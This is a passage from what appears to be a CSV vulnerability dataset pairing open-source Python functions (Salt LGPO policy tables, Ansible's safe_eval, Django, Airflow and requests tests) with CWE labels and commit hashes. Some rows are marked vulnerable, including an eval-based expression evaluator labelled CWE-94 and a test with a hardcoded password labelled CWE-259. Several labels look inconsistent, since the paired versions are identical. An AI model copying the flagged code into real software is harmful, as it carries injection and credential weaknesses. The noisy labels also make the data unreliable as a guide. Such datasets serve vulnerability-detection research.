                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Windows NT\\DCOM',
                            'Value': 'MachineAccessRestriction',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'MachineLaunchRestriction': {
                        'Policy': 'DCOM: Machine Launch Restrictions in Security Descriptor '
                                  'Definition Language (SDDL) syntax',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Windows NT\\DCOM',
                            'Value': 'MachineLaunchRestriction',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'AddPrinterDrivers': {
                        'Policy': 'Devices: Prevent users from installing printer drivers',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Print\\'
                                    'Providers\\LanMan Print Services\\Servers',
                            'Value': 'AddPrinterDrivers',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'UseMachineId': {
                        'Policy': 'Network security: Allow Local System to use computer '
                                  'identity for NTLM',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'UseMachineId',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'allownullsessionfallback': {
                        'Policy': 'Network security: Allow LocalSystem NULL session fallback',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'allownullsessionfallback',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AllowOnlineID': {
                        'Policy': 'Network security: Allow PKU2U authentication requests '
                                  'to this computer to use online identities.',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\pku2u',
                            'Value': 'AllowOnlineID',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'KrbSupportedEncryptionTypes': {
                        'Policy': 'Network security: Configure encryption types allowed '
                                  'for Kerberos',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies'
                                    '\\system\\Kerberos\\Parameters',
                            'Value': 'SupportedEncryptionTypes',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.krb_encryption_types,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.krb_encryption_types,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NoLMHash': {
                        'Policy': 'Network security: Do not store LAN Manager hash value '
                                  'on next password change',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'NoLMHash',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ForceLogoffWhenHourExpire': {
                        'Policy': 'Network security: Force logoff when logon hours expire',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'ForceLogoffWhenHourExpire',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'LmCompatibilityLevel': {
                        'Policy': 'Network security: LAN Manager authentication level',
                        'Settings': self.lm_compat_levels.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'LmCompatibilityLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.lm_compat_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.lm_compat_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'LDAPClientIntegrity': {
                        'Policy': 'Network security: LDAP client signing requirements',
                        'Settings': self.ldap_signing_reqs.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\ldap',
                            'Value': 'LDAPClientIntegrity',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ldap_signing_reqs,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ldap_signing_reqs,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NTLMMinClientSec': {
                        'Policy': 'Network security: Minimum session security for NTLM SSP based '
                                  '(including secure RPC) clients',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'NTLMMinClientSec',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'NTLMMinServerSec': {
                        'Policy': 'Network security: Minimum session security for NTLM SSP based '
                                  '(including secure RPC) servers',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'NTLMMinServerSec',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup_bitwise_add',
                            'Put': '_dict_lookup_bitwise_add',
                            'GetArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_session_security_levels,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ClientAllowedNTLMServers': {
                        'Policy': 'Network security: Restrict NTLM: Add remote server'
                                  ' exceptions for NTLM authentication',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'ClientAllowedNTLMServers',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'DCAllowedNTLMServers': {
                        'Policy': 'Network security: Restrict NTLM: Add server exceptions'
                                  ' in this domain',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'DCAllowedNTLMServers',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'AuditReceivingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Audit Incoming NTLM Traffic',
                        'Settings': self.ntlm_audit_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\LSA\\MSV1_0',
                            'Value': 'AuditReceivingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_audit_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_audit_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'AuditNTLMInDomain': {
                        'Policy': 'Network security: Restrict NTLM: Audit NTLM '
                                  'authentication in this domain',
                        'Settings': self.ntlm_domain_audit_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'AuditNTLMInDomain',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_domain_audit_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_domain_audit_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictReceivingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Incoming'
                                  ' NTLM traffic',
                        'Settings': self.incoming_ntlm_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\LSA\\MSV1_0',
                            'Value': 'RestrictReceivingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.incoming_ntlm_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.incoming_ntlm_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictNTLMInDomain': {
                        'Policy': 'Network security: Restrict NTLM: NTLM '
                                  'authentication in this domain',
                        'Settings': self.ntlm_domain_auth_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters',
                            'Value': 'RestrictNTLMInDomain',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ntlm_domain_auth_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ntlm_domain_auth_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'RestrictSendingNTLMTraffic': {
                        'Policy': 'Network security: Restrict NTLM: Outgoing NTLM'
                                  ' traffic to remote servers',
                        'Settings': self.outgoing_ntlm_settings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0',
                            'Value': 'RestrictSendingNTLMTraffic',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.outgoing_ntlm_settings,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.outgoing_ntlm_settings,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ShutdownWithoutLogon': {
                        'Policy': 'Shutdown: Allow system to be shut down '
                                  'without having to log on',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system',
                            'Value': 'ShutdownWithoutLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ClearPageFileAtShutdown': {
                        'Policy': 'Shutdown: Clear virtual memory pagefile',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\MEMORY MANAGEMENT',
                            'Value': 'ClearPageFileAtShutdown',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ObCaseInsensitive': {
                        'Policy': 'System objects: Require case insensitivity for '
                                  'non-Windows subsystems',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\Kernel',
                            'Value': 'ObCaseInsensitive',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ProtectionMode': {
                        'Policy': 'System objects: Strengthen default permissions of '
                                  'internal system objects (e.g. Symbolic Links)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER',
                            'Value': 'ProtectionMode',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'OptionalSubsystems': {
                        'Policy': 'System settings: Optional subsystems',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\'
                                    'SESSION MANAGER\\SubSystems',
                            'Value': 'optional',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'AuthenticodeEnabled': {
                        'Policy': 'System settings: Use Certificate Rules on Windows'
                                  ' Executables for Software Restriction Policies',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Policies\\Microsoft\\Windows\\safer\\codeidentifiers',
                            'Value': 'AuthenticodeEnabled',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                }
            },
            'User': {
                'lgpo_section': 'User Configuration',
                'policies': {}
            },
        }
        self.admx_registry_classes = {
            'User': {
                'policy_path': os.path.join(os.getenv('WINDIR'), 'System32',
                                            'GroupPolicy', 'User',
                                            'Registry.pol'),
                'hive': 'HKEY_USERS',
                'lgpo_section': 'User Configuration',
                'gpt_extension_location': 'gPCUserExtensionNames',
                'gpt_extension_guid': '[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F73-3407-48AE-BA88-E8213C6761F1}]'
            },
            'Machine': {
                'policy_path': os.path.join(os.getenv('WINDIR'), 'System32',
                                            'GroupPolicy', 'Machine',
                                            'Registry.pol'),
                'hive': 'HKEY_LOCAL_MACHINE',
                'lgpo_section': 'Computer Configuration',
                'gpt_extension_location': 'gPCMachineExtensionNames',
                'gpt_extension_guid': '[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]'
            },
        }
        self.reg_pol_header = u'\u5250\u6765\x01\x00'
        self.gpt_ini_path = os.path.join(os.getenv('WINDIR'), 'System32',
                                         'GroupPolicy', 'gpt.ini')"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_invalid_ssl_certificate_files(self, httpbin_secure):
        INVALID_PATH = '/garbage'
        with pytest.raises(IOError) as e:
            requests.get(httpbin_secure(), cert=INVALID_PATH)
        assert str(e.value) == 'Could not find the TLS certificate file, invalid path: {}'.format(INVALID_PATH)

        with pytest.raises(IOError) as e:
            requests.get(httpbin_secure(), cert=('.', INVALID_PATH))
        assert str(e.value) == 'Could not find the TLS key file, invalid path: {}'.format(INVALID_PATH)",CWE-703,psf/requests,79f60274f7e461b8fd2f579e741f748438d7eadb,"def test_invalid_ssl_certificate_files(self, httpbin_secure):
        INVALID_PATH = '/garbage'
        with pytest.raises(IOError) as e:
            requests.get(httpbin_secure(), cert=INVALID_PATH)
        assert str(e.value) == 'Could not find the TLS certificate file, invalid path: {}'.format(INVALID_PATH)

        with pytest.raises(IOError) as e:
            requests.get(httpbin_secure(), cert=('.', INVALID_PATH))
        assert str(e.value) == 'Could not find the TLS key file, invalid path: {}'.format(INVALID_PATH)"
,UNKNOWN,UNKNOWN,lib/ansible/template/safe_eval.py,1,"def safe_eval(expr, locals=None, include_exceptions=False):
    '''
    This is intended for allowing things like:
    with_items: a_list_variable

    Where Jinja2 would return a string but we do not want to allow it to
    call functions (outside of Jinja2, where the env is constrained).

    Based on:
    http://stackoverflow.com/questions/12523516/using-ast-and-whitelists-to-make-pythons-eval-safe
    '''
    locals = {} if locals is None else locals

    # define certain JSON types
    # eg. JSON booleans are unknown to python eval()
    OUR_GLOBALS = {
        '__builtins__': {},  # avoid global builtins as per eval docs
        'false': False,
        'null': None,
        'true': True,
        # also add back some builtins we do need
        'True': True,
        'False': False,
    }

    # this is the whitelist of AST nodes we are going to
    # allow in the evaluation. Any node type other than
    # those listed here will raise an exception in our custom
    # visitor class defined below.
    SAFE_NODES = set(
        (
            ast.Add,
            ast.BinOp,
            # ast.Call,
            ast.Compare,
            ast.Dict,
            ast.Div,
            ast.Expression,
            ast.List,
            ast.Load,
            ast.Mult,
            ast.Num,
            ast.Name,
            ast.Str,
            ast.Sub,
            ast.USub,
            ast.Tuple,
            ast.UnaryOp,
        )
    )

    # AST node types were expanded after 2.6
    if sys.version_info[:2] >= (2, 7):
        SAFE_NODES.update(
            set(
                (ast.Set,)
            )
        )

    # And in Python 3.4 too
    if sys.version_info[:2] >= (3, 4):
        SAFE_NODES.update(
            set(
                (ast.NameConstant,)
            )
        )

    filter_list = []
    for filter_ in filter_loader.all():
        filter_list.extend(filter_.filters().keys())

    test_list = []
    for test in test_loader.all():
        test_list.extend(test.tests().keys())

    CALL_WHITELIST = C.DEFAULT_CALLABLE_WHITELIST + filter_list + test_list

    class CleansingNodeVisitor(ast.NodeVisitor):
        def generic_visit(self, node, inside_call=False):
            if type(node) not in SAFE_NODES:
                raise Exception(""invalid expression (%s)"" % expr)
            elif isinstance(node, ast.Call):
                inside_call = True
            elif isinstance(node, ast.Name) and inside_call:
                # Disallow calls to builtin functions that we have not vetted
                # as safe.  Other functions are excluded by setting locals in
                # the call to eval() later on
                if hasattr(builtins, node.id) and node.id not in CALL_WHITELIST:
                    raise Exception(""invalid function: %s"" % node.id)
            # iterate over all child nodes
            for child_node in ast.iter_child_nodes(node):
                self.generic_visit(child_node, inside_call)

    if not isinstance(expr, string_types):
        # already templated to a datastructure, perhaps?
        if include_exceptions:
            return (expr, None)
        return expr

    cnv = CleansingNodeVisitor()
    try:
        parsed_tree = ast.parse(expr, mode='eval')
        cnv.visit(parsed_tree)
        compiled = compile(parsed_tree, expr, 'eval')
        # Note: passing our own globals and locals here constrains what
        # callables (and other identifiers) are recognized.  this is in
        # addition to the filtering of builtins done in CleansingNodeVisitor
        result = eval(compiled, OUR_GLOBALS, dict(locals))

        if include_exceptions:
            return (result, None)
        else:
            return result
    except SyntaxError as e:
        # special handling for syntax errors, we just return
        # the expression string back as-is to support late evaluation
        if include_exceptions:
            return (expr, None)
        return expr
    except Exception as e:
        if include_exceptions:
            return (expr, e)
        return expr",CWE-94,ansible/ansible,a11c3edfa41e7e4a4db323cdabfc2eae1b61da2a,"def safe_eval(expr, locals=None, include_exceptions=False):
    '''
    This is intended for allowing things like:
    with_items: a_list_variable

    Where Jinja2 would return a string but we do not want to allow it to
    call functions (outside of Jinja2, where the env is constrained).

    Based on:
    http://stackoverflow.com/questions/12523516/using-ast-and-whitelists-to-make-pythons-eval-safe
    '''
    locals = {} if locals is None else locals

    # define certain JSON types
    # eg. JSON booleans are unknown to python eval()
    JSON_TYPES = {
        'false': False,
        'null': None,
        'true': True,
    }

    # this is the whitelist of AST nodes we are going to
    # allow in the evaluation. Any node type other than
    # those listed here will raise an exception in our custom
    # visitor class defined below.
    SAFE_NODES = set(
        (
            ast.Add,
            ast.BinOp,
            # ast.Call,
            ast.Compare,
            ast.Dict,
            ast.Div,
            ast.Expression,
            ast.List,
            ast.Load,
            ast.Mult,
            ast.Num,
            ast.Name,
            ast.Str,
            ast.Sub,
            ast.USub,
            ast.Tuple,
            ast.UnaryOp,
        )
    )

    # AST node types were expanded after 2.6
    if sys.version_info[:2] >= (2, 7):
        SAFE_NODES.update(
            set(
                (ast.Set,)
            )
        )

    # And in Python 3.4 too
    if sys.version_info[:2] >= (3, 4):
        SAFE_NODES.update(
            set(
                (ast.NameConstant,)
            )
        )

    filter_list = []
    for filter_ in filter_loader.all():
        filter_list.extend(filter_.filters().keys())

    test_list = []
    for test in test_loader.all():
        test_list.extend(test.tests().keys())

    CALL_WHITELIST = C.DEFAULT_CALLABLE_WHITELIST + filter_list + test_list

    class CleansingNodeVisitor(ast.NodeVisitor):
        def generic_visit(self, node, inside_call=False):
            if type(node) not in SAFE_NODES:
                raise Exception(""invalid expression (%s)"" % expr)
            elif isinstance(node, ast.Call):
                inside_call = True
            elif isinstance(node, ast.Name) and inside_call:
                # Disallow calls to builtin functions that we have not vetted
                # as safe.  Other functions are excluded by setting locals in
                # the call to eval() later on
                if hasattr(builtins, node.id) and node.id not in CALL_WHITELIST:
                    raise Exception(""invalid function: %s"" % node.id)
            # iterate over all child nodes
            for child_node in ast.iter_child_nodes(node):
                self.generic_visit(child_node, inside_call)

    if not isinstance(expr, string_types):
        # already templated to a datastructure, perhaps?
        if include_exceptions:
            return (expr, None)
        return expr

    cnv = CleansingNodeVisitor()
    try:
        parsed_tree = ast.parse(expr, mode='eval')
        cnv.visit(parsed_tree)
        compiled = compile(parsed_tree, expr, 'eval')
        # Note: passing our own globals and locals here constrains what
        # callables (and other identifiers) are recognized.  this is in
        # addition to the filtering of builtins done in CleansingNodeVisitor
        result = eval(compiled, JSON_TYPES, dict(locals))

        if include_exceptions:
            return (result, None)
        else:
            return result
    except SyntaxError as e:
        # special handling for syntax errors, we just return
        # the expression string back as-is to support late evaluation
        if include_exceptions:
            return (expr, None)
        return expr
    except Exception as e:
        if include_exceptions:
            return (expr, e)
        return expr"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/forms_tests/widget_tests/test_multiwidget.py,0,"def test_text_inputs(self):
        widget = MyMultiWidget(
            widgets=(
                TextInput(attrs={'class': 'big'}),
                TextInput(attrs={'class': 'small'}),
            )
        )
        self.check_html(widget, 'name', ['john', 'lennon'], html=(
            '<input type=""text"" class=""big"" value=""john"" name=""name_0"">'
            '<input type=""text"" class=""small"" value=""lennon"" name=""name_1"">'
        ))
        self.check_html(widget, 'name', 'john__lennon', html=(
            '<input type=""text"" class=""big"" value=""john"" name=""name_0"">'
            '<input type=""text"" class=""small"" value=""lennon"" name=""name_1"">'
        ))
        self.check_html(widget, 'name', 'john__lennon', attrs={'id': 'foo'}, html=(
            '<input id=""foo_0"" type=""text"" class=""big"" value=""john"" name=""name_0"">'
            '<input id=""foo_1"" type=""text"" class=""small"" value=""lennon"" name=""name_1"">'
        ))",CWE-Unknown,django/django,ff05de760cc4ef4c7f188e163c722ec3bc1f0cbf,"def test_text_inputs(self):
        widget = MyMultiWidget(
            widgets=(
                TextInput(attrs={'class': 'big'}),
                TextInput(attrs={'class': 'small'}),
            )
        )
        self.check_html(widget, 'name', ['john', 'lennon'], html=(
            '<input type=""text"" class=""big"" value=""john"" name=""name_0"" />'
            '<input type=""text"" class=""small"" value=""lennon"" name=""name_1"" />'
        ))
        self.check_html(widget, 'name', 'john__lennon', html=(
            '<input type=""text"" class=""big"" value=""john"" name=""name_0"" />'
            '<input type=""text"" class=""small"" value=""lennon"" name=""name_1"" />'
        ))
        self.check_html(widget, 'name', 'john__lennon', attrs={'id': 'foo'}, html=(
            '<input id=""foo_0"" type=""text"" class=""big"" value=""john"" name=""name_0"" />'
            '<input id=""foo_1"" type=""text"" class=""small"" value=""lennon"" name=""name_1"" />'
        ))"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_redshift_cluster.py,1,"def test_create_multi_node_cluster(self, mock_get_conn):
        redshift_operator = RedshiftCreateClusterOperator(
            task_id=""task_test"",
            cluster_identifier=""test-cluster"",
            node_type=""dc2.large"",
            number_of_nodes=3,
            master_username=""adminuser"",
            master_user_password=""Test123$"",
            cluster_type=""multi-node"",
        )
        redshift_operator.execute(None)
        params = {
            ""DBName"": ""dev"",
            ""ClusterType"": ""multi-node"",
            ""NumberOfNodes"": 3,
            ""AutomatedSnapshotRetentionPeriod"": 1,
            ""ClusterVersion"": ""1.0"",
            ""AllowVersionUpgrade"": True,
            ""PubliclyAccessible"": True,
            ""Port"": 5439,
        }
        mock_get_conn.return_value.create_cluster.assert_called_once_with(
            ClusterIdentifier=""test-cluster"",
            NodeType=""dc2.large"",
            MasterUsername=""adminuser"",
            MasterUserPassword=""Test123$"",
            **params,
        )

        # wait_for_completion is False so check waiter is not called
        mock_get_conn.return_value.get_waiter.assert_not_called()",CWE-259,apache/airflow,62ea0ff21ccc900e1bb717937b1a3ab1509767a6,"def test_create_multi_node_cluster(self, mock_get_conn):
        redshift_operator = RedshiftCreateClusterOperator(
            task_id=""task_test"",
            cluster_identifier=""test-cluster"",
            node_type=""dc2.large"",
            number_of_nodes=3,
            master_username=""adminuser"",
            master_user_password=""Test123$"",
            cluster_type=""multi-node"",
        )
        redshift_operator.execute(None)
        params = {
            ""DBName"": ""dev"",
            ""ClusterType"": ""multi-node"",
            ""NumberOfNodes"": 3,
            ""AutomatedSnapshotRetentionPeriod"": 1,
            ""ClusterVersion"": ""1.0"",
            ""AllowVersionUpgrade"": True,
            ""PubliclyAccessible"": True,
            ""Port"": 5439,
        }
        mock_get_conn.return_value.create_cluster.assert_called_once_with(
            ClusterIdentifier=""test-cluster"",
            NodeType=""dc2.large"",
            MasterUsername=""adminuser"",
            MasterUserPassword=""Test123$"",
            **params,
        )

        # wait_for_completion is False so check waiter is not called
        mock_get_conn.return_value.get_waiter.assert_not_called()"
,UNKNOWN,UNKNOWN,tests/projects/utils.py,1,"def assert_dirs_equal(expected, actual):
    dir_comparison = filecmp.dircmp(expected, actual)
    assert len(dir_comparison.left_only) == 0
    assert len(dir_comparison.right_only) == 0
    assert len(dir_comparison.diff_files) == 0
    assert len(dir_comparison.funny_files) == 0",CWE-703,mlflow/mlflow,dc1b21821e564c7985c0df318909ba84a90ec0f1,"def assert_dirs_equal(expected, actual):
    dir_comparison = filecmp.dircmp(expected, actual)
    assert len(dir_comparison.left_only) == 0
    assert len(dir_comparison.right_only) == 0
    assert len(dir_comparison.diff_files) == 0
    assert len(dir_comparison.funny_files) == 0"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/template/base.py,0,"def __init__(self, template_string, origin):
        self.template_string = template_string
        self.origin = origin
        self.lineno = 1
        self.verbatim = False",CWE-Unknown,django/django,4464bbba15d50ed32beb5995c13d26791ca61fe4,"def __init__(self, template_string, origin):
        self.template_string = template_string
        self.origin = origin
        self.lineno = 1"
,UNKNOWN,UNKNOWN,tests/integration/states/pkg.py,1,"def test_pkg_012_latest_only_upgrade(self, grains=None):
        '''
        WARNING: This test will pick a package with an available upgrade (if
        there is one) and upgrade it to the latest version.
        '''
        os_family = grains.get('os_family', '')
        if os_family != 'Debian':
            self.skipTest('Minion is not Debian/Ubuntu')

        # Skip test if package manager not available
        if not pkgmgr_avail(self.run_function, self.run_function('grains.items')):
            self.skipTest('Package manager is not available')

        pkg_targets = _PKG_TARGETS.get(os_family, [])

        # Make sure that we have targets that match the os_family. If this
        # fails then the _PKG_TARGETS dict above needs to have an entry added,
        # with two packages that are not installed before these tests are run
        self.assertTrue(pkg_targets)

        target = pkg_targets[0]
        version = latest_version(self.run_function, target)

        # If this assert fails, we need to find new targets, this test needs to
        # be able to test that the state fails when you try to run the state
        # with only_upgrade=True on a package which is not already installed,
        # so the targeted package needs to not be installed before we run the
        # state below.
        self.assertTrue(version)

        ret = self.run_state('pkg.latest', name=target, refresh=False,
                             only_upgrade=True)
        self.assertSaltFalseReturn(ret)

        # Now look for updates and try to run the state on a package which is
        # already up-to-date.
        installed_pkgs = self.run_function('pkg.list_pkgs')
        updates = self.run_function('pkg.list_upgrades', refresh=False)

        for pkgname in updates:
            if pkgname in installed_pkgs:
                target = pkgname
                break
        else:
            target = ''
            log.warning(
                'No available upgrades to installed packages, skipping '
                'only_upgrade=True test with already-installed package. For '
                'best results run this test on a machine with upgrades '
                'available.'
            )

        if target:
            ret = self.run_state('pkg.latest', name=target, refresh=False,
                                 only_upgrade=True)
            self.assertSaltTrueReturn(ret)
            new_version = self.run_function('pkg.version', [target])
            self.assertEqual(new_version, updates[target])
